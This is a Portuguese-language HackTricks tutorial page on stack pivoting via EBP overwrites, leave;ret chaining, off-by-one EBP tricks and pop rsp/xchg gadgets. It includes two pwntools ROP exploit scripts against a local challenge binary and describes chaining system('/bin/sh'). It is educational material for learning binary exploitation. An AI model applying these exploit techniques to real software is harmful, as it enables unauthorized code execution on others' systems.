9.2 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informações Básicas
Esta técnica explora a capacidade de manipular o Base Pointer (EBP) para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções leave; ret
.
Como lembrete, leave
basicamente significa:
mov esp, ebp
pop ebp
ret
E como o EBP está na pilha antes do EIP, é possível controlá-lo controlando a pilha.
EBP2Ret
Esta técnica é particularmente útil quando você pode alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP. Ela aproveita o comportamento das funções quando terminam de executar.
Se, durante a execução de fvuln
, você conseguir injetar um EBP falso na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação pop
), você pode controlar indiretamente o EIP. Quando fvuln
retorna, o ESP é definido para este local elaborado, e a operação pop
subsequente diminui o ESP em 4, fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.
Note como você precisa saber 2 endereços: O onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
Construção do Exploit
Primeiro, você precisa saber um endereço onde pode escrever dados / endereços arbitrários. O ESP apontará aqui e executará o primeiro ret
.
Então, você precisa saber o endereço usado pelo ret
que irá executar código arbitrário. Você poderia usar:
- Um endereço válido ONE_GADGET.
- O endereço de
system()
seguido de 4 bytes de lixo e o endereço de"/bin/sh"
(x86 bits). - O endereço de um gadget
jump esp;
(ret2esp) seguido do shellcode a ser executado. - Alguma cadeia ROP.
Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver 4
bytes por causa da parte pop
da instrução leave
. Seria possível abusar desses 4B para definir um segundo EBP falso e continuar controlando a execução.
Exploit Off-By-One
Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode apenas modificar o byte menos significativo do EBP. Nesse caso, a localização da memória que armazena o endereço para pular com o ret
deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.
Encadeamento de EBP
Portanto, colocando um endereço controlado na entrada EBP
da pilha e um endereço para leave; ret
no EIP
, é possível mover o ESP
para o endereço EBP
controlado da pilha.
Agora, o ESP
está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um RET
. Para abusar disso, é possível colocar no lugar controlado do ESP:
&(próximo EBP falso)
-> Carregar o novo EBP por causa dopop ebp
da instruçãoleave
.system()
-> Chamado peloret
.&(leave;ret)
-> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente.&("/bin/sh")
-> Parâmetro parasystem
.
Basicamente, dessa forma, é possível encadear vários EBPs falsos para controlar o fluxo do programa.
Isso é como um ret2lib, mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos.
Além disso, aqui você tem um exemplo de um desafio que usa essa técnica com um leak de pilha para chamar uma função vencedora. Este é o payload final da página:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP é inútil
Como explicado neste post, se um binário é compilado com algumas otimizações, o EBP nunca consegue controlar o ESP, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.
Isso ocorre porque as mudanças de prólogo e epílogo se o binário estiver otimizado.
- Não otimizado:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Otimizado:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Outras maneiras de controlar RSP
pop rsp
gadget
Nesta página você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um pop rsp
gadget e há um leak da pilha:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
Referências
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.